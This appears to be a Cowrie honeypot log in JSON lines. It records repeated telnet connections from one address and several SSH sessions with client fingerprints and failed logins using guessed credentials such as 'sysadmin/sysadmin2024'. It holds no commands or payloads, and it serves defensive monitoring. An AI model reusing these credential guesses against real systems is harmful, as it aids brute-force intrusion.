{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":46504,"dst_ip":"10.17.0.5","dst_port":23,"session":"2aa58c7434a9","protocol":"telnet","message":"New connection: 144.79.218.12:46504 (10.17.0.5:23) [session: 2aa58c7434a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:37.773970Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":46506,"dst_ip":"10.17.0.5","dst_port":23,"session":"38677dcb8119","protocol":"telnet","message":"New connection: 144.79.218.12:46506 (10.17.0.5:23) [session: 38677dcb8119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:37.811189Z"}
{"eventid":"cowrie.session.closed","duration":33.53720736503601,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:40.868700Z","src_ip":"144.79.218.12","session":"d1b016be3093","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.70281720161438,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:45.512984Z","src_ip":"144.79.218.12","session":"e16477b56256","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.07376050949097,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:47.908236Z","src_ip":"144.79.218.12","session":"e79d72ae00bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.14935064315796,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:48.412343Z","src_ip":"144.79.218.12","session":"21a93173c8e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.22574067115784,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:48.563374Z","src_ip":"144.79.218.12","session":"1da4df6f6e43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.15415167808533,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:50.018584Z","src_ip":"144.79.218.12","session":"e834e2838c26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33238,"dst_ip":"10.17.0.5","dst_port":23,"session":"d70699f68f4d","protocol":"telnet","message":"New connection: 144.79.218.12:33238 (10.17.0.5:23) [session: d70699f68f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:50.040990Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33242,"dst_ip":"10.17.0.5","dst_port":23,"session":"28958b6eb3aa","protocol":"telnet","message":"New connection: 144.79.218.12:33242 (10.17.0.5:23) [session: 28958b6eb3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:50.191128Z"}
{"eventid":"cowrie.session.closed","duration":34.60809135437012,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:51.569006Z","src_ip":"144.79.218.12","session":"dc18e809a56d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.023972034454346,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:52.983742Z","src_ip":"144.79.218.12","session":"59a870c24ce2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.796452283859253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:23:58.219455Z","src_ip":"144.79.218.12","session":"e4c9a0191e7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33438,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f2ebabee278","protocol":"telnet","message":"New connection: 144.79.218.12:33438 (10.17.0.5:23) [session: 3f2ebabee278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:01.388639Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33442,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b8b99caad4c","protocol":"telnet","message":"New connection: 144.79.218.12:33442 (10.17.0.5:23) [session: 8b8b99caad4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:03.154457Z"}
{"eventid":"cowrie.session.closed","duration":36.01951360702515,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:04.002386Z","src_ip":"144.79.218.12","session":"98f51f918e71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.304718255996704,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:04.332922Z","src_ip":"144.79.218.12","session":"2abbc2097434","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33454,"dst_ip":"10.17.0.5","dst_port":23,"session":"db3431470951","protocol":"telnet","message":"New connection: 144.79.218.12:33454 (10.17.0.5:23) [session: db3431470951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:04.601131Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33466,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9c767852c93","protocol":"telnet","message":"New connection: 144.79.218.12:33466 (10.17.0.5:23) [session: b9c767852c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:04.738182Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":33472,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe2044b3d40","protocol":"telnet","message":"New connection: 144.79.218.12:33472 (10.17.0.5:23) [session: ffe2044b3d40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:07.047479Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":48380,"dst_ip":"10.17.0.5","dst_port":23,"session":"88924e6d51d9","protocol":"telnet","message":"New connection: 5.61.90.139:48380 (10.17.0.5:23) [session: 88924e6d51d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:07.698487Z"}
{"eventid":"cowrie.session.closed","duration":30.461297273635864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:08.235159Z","src_ip":"144.79.218.12","session":"2aa58c7434a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.365971326828,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:09.873062Z","src_ip":"144.79.218.12","session":"9a2a1972e825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40088367462158,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:12.211964Z","src_ip":"144.79.218.12","session":"38677dcb8119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":57292,"dst_ip":"10.17.0.5","dst_port":23,"session":"60fefc83b18a","protocol":"telnet","message":"New connection: 144.79.218.12:57292 (10.17.0.5:23) [session: 60fefc83b18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:18.634258Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50986,"dst_ip":"159.203.135.109","dst_port":22,"session":"970163e22984","protocol":"ssh","message":"New connection: 159.203.92.129:50986 (159.203.135.109:22) [session: 970163e22984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:19.643032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:19.647993Z","src_ip":"159.203.92.129","session":"970163e22984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:19.653184Z","src_ip":"159.203.92.129","session":"970163e22984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ale","password":"ale","message":"login attempt [ale/ale] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:19.665045Z","src_ip":"159.203.92.129","session":"970163e22984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:20.671558Z","src_ip":"159.203.92.129","session":"970163e22984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":37908,"dst_ip":"10.17.0.5","dst_port":23,"session":"239d17a16d1b","protocol":"telnet","message":"New connection: 144.79.218.12:37908 (10.17.0.5:23) [session: 239d17a16d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:20.696925Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":37914,"dst_ip":"10.17.0.5","dst_port":23,"session":"abc19883f3c0","protocol":"telnet","message":"New connection: 144.79.218.12:37914 (10.17.0.5:23) [session: abc19883f3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:21.109032Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":37920,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a54fed4b8fe","protocol":"telnet","message":"New connection: 144.79.218.12:37920 (10.17.0.5:23) [session: 2a54fed4b8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:21.279678Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":37928,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4946a6b09ef","protocol":"telnet","message":"New connection: 144.79.218.12:37928 (10.17.0.5:23) [session: e4946a6b09ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:24.715962Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":37942,"dst_ip":"10.17.0.5","dst_port":23,"session":"390107085121","protocol":"telnet","message":"New connection: 144.79.218.12:37942 (10.17.0.5:23) [session: 390107085121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:24.890810Z"}
{"eventid":"cowrie.session.closed","duration":36.826085329055786,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:26.866969Z","src_ip":"144.79.218.12","session":"d70699f68f4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.71334767341614,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:27.904344Z","src_ip":"144.79.218.12","session":"28958b6eb3aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":37944,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbc923798ea5","protocol":"telnet","message":"New connection: 144.79.218.12:37944 (10.17.0.5:23) [session: bbc923798ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:28.654402Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":40534,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee2b2881d59b","protocol":"ssh","message":"New connection: 68.183.236.1:40534 (159.203.135.109:22) [session: ee2b2881d59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:29.570247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:29.574966Z","src_ip":"68.183.236.1","session":"ee2b2881d59b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:29.820404Z","src_ip":"68.183.236.1","session":"ee2b2881d59b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42314,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bfb17524f04","protocol":"telnet","message":"New connection: 144.79.218.12:42314 (10.17.0.5:23) [session: 6bfb17524f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:30.572074Z"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2024","message":"login attempt [sysadmin/sysadmin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:30.835771Z","src_ip":"68.183.236.1","session":"ee2b2881d59b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42330,"dst_ip":"10.17.0.5","dst_port":23,"session":"aec857feac34","protocol":"telnet","message":"New connection: 144.79.218.12:42330 (10.17.0.5:23) [session: aec857feac34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:31.279432Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:32.083745Z","src_ip":"68.183.236.1","session":"ee2b2881d59b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.11342239379883,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:35.501924Z","src_ip":"144.79.218.12","session":"3f2ebabee278","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.34662413597107,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:38.500943Z","src_ip":"144.79.218.12","session":"8b8b99caad4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61224818229675,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:40.659612Z","src_ip":"144.79.218.12","session":"ffe2044b3d40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":48328,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ba1815d6a27","protocol":"ssh","message":"New connection: 91.134.240.52:48328 (159.203.135.109:22) [session: 1ba1815d6a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:41.715150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:41.719490Z","src_ip":"91.134.240.52","session":"1ba1815d6a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:41.798474Z","src_ip":"91.134.240.52","session":"1ba1815d6a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.34325551986694,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:41.944264Z","src_ip":"144.79.218.12","session":"db3431470951","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser123456","message":"login attempt [newuser/newuser123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:42.132878Z","src_ip":"91.134.240.52","session":"1ba1815d6a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:43.211379Z","src_ip":"91.134.240.52","session":"1ba1815d6a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.384440422058105,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:45.122497Z","src_ip":"144.79.218.12","session":"b9c767852c93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59972,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ded9b94696a","protocol":"telnet","message":"New connection: 144.79.218.12:59972 (10.17.0.5:23) [session: 6ded9b94696a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:45.525093Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59978,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca2d8cf00526","protocol":"telnet","message":"New connection: 144.79.218.12:59978 (10.17.0.5:23) [session: ca2d8cf00526]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:46.569815Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38244,"dst_ip":"10.17.0.5","dst_port":23,"session":"86502507080c","protocol":"telnet","message":"New connection: 144.79.218.12:38244 (10.17.0.5:23) [session: 86502507080c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:49.121254Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38246,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0d9da968d90","protocol":"telnet","message":"New connection: 144.79.218.12:38246 (10.17.0.5:23) [session: f0d9da968d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:49.644972Z"}
{"eventid":"cowrie.session.closed","duration":43.105435848236084,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:50.803768Z","src_ip":"5.61.90.139","session":"88924e6d51d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.56114959716797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:52.257970Z","src_ip":"144.79.218.12","session":"239d17a16d1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.99538707733154,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:52.629521Z","src_ip":"144.79.218.12","session":"60fefc83b18a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38250,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fa33bb30880","protocol":"telnet","message":"New connection: 144.79.218.12:38250 (10.17.0.5:23) [session: 9fa33bb30880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:53.293730Z"}
{"eventid":"cowrie.session.closed","duration":32.38121819496155,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:53.490134Z","src_ip":"144.79.218.12","session":"abc19883f3c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.733614206314087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:55.449293Z","src_ip":"144.79.218.12","session":"e4946a6b09ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":38260,"dst_ip":"10.17.0.5","dst_port":23,"session":"f69c295e9a52","protocol":"telnet","message":"New connection: 144.79.218.12:38260 (10.17.0.5:23) [session: f69c295e9a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:24:55.605615Z"}
